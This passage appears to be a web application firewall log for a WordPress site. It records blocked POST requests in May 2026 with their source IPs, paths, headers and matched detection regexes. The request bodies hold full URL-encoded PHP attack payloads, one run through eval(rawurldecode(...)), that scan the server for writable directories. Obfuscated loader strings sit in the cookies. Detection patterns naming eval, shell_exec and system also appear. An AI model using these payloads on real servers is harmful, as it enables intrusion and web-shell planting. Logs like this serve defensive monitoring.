AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\nOE=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 12:00:23","95.216.28.151","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> or:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3811\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo3VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\nor=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 12:00:38","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> xa:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrTRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3832\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nxa=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 12:01:26","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3865\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 12:01:48","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> 